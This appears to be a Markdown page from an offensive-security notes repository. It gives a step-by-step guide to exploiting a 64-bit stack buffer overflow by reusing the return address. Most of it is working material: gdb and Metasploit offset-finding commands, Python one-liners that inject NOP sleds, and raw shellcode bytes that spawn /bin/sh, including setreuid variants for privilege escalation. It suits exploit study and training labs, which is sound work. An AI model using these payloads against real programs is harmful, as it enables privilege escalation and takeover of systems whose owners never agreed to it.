killchain-compendium/exploit/binaries/buffer_overflow/docs/ret_address_reuse.md

122 lines
5.4 KiB
Markdown
Raw Normal View History

2021-08-23 01:13:54 +02:00
# Return Address reuse
## via Shellcode, an examples
* Find out the address of the start of the buffer and the start address of the return address
* Calculate the difference between these addresses so you know how much data to enter to overflow
* Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address
* Plus NOPsled (sometimes xargs is needed in front of the app call)
```python
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
```
## Finding Offset
### via gdb segfault output
* 64 bit addresses use 6 out of 8 byte for addresses.
```sh
gdb ./application
run $(python -c "print('\x41' * 180)")
```
* Return address hit completely when 6 bytes are filled.
```sh
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in copy_arg ()
```
* Buffer = measured_length - (`$rbp` + 6 bytes return address)
### via metasploit
```sh
/opt/metasploit/tools/exploit/pattern_create.rb -l 180
```
* Looking for `rbp` Content in front of the return address to measure offset
```sh
(gdb) i r
[...]
rbp 0x<rbpAddress> 0x<rbpConent>
[...]
```
* Measure offset
```sh
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
```
## Crafting Payload
* Contains Junk/NOPslice + shellcode + Junk over rbp + return address
* Inside gdb
```sh
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
```
* Check actual stack
```sh
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
[...]
```
* Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`.
## NopSled
* Prepend **nopsled** instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`.
```sh
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
```
* Convert return address to little endian `0x7fffffffe2a8` -> `\xa8\xe2\xff\xff\xff\x7f` and put it inside the return address
```sh
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
```
## setuid() and setreuid()
* Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed.
* `/bin/sh` checks real uid not effective uid
* ./shellcodes/setuid_shell.as
### setreuid() in assembler
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
* `setreuid(1002,1002)` sets the __real__ uid inside the shell to 1002.
* `setreuid()` has `rax` number `\x71` (`113` dec). Args are stored in `rdi` and `rsi`.
* ./shellcode/setreuid_shell.as
```sh
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
```
* Convert to hex output via [Defuse](https://defuse.ca/online-x86-assembler.htm)
### setreuid() in shellcode using pwntools
* Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner.
```sh
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
shellcraft -f d amd64.linux.setreuid
```
* The uid can be set as an argument
```sh
shellcraft -f d amd64.linux.setreuid <uid>
```
* Prepend this in front of the existing shellcode like this
```sh
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
```
* Where the existing shellcode is the following
```sh
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
```
* Setreuid part is the following
```sh
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
```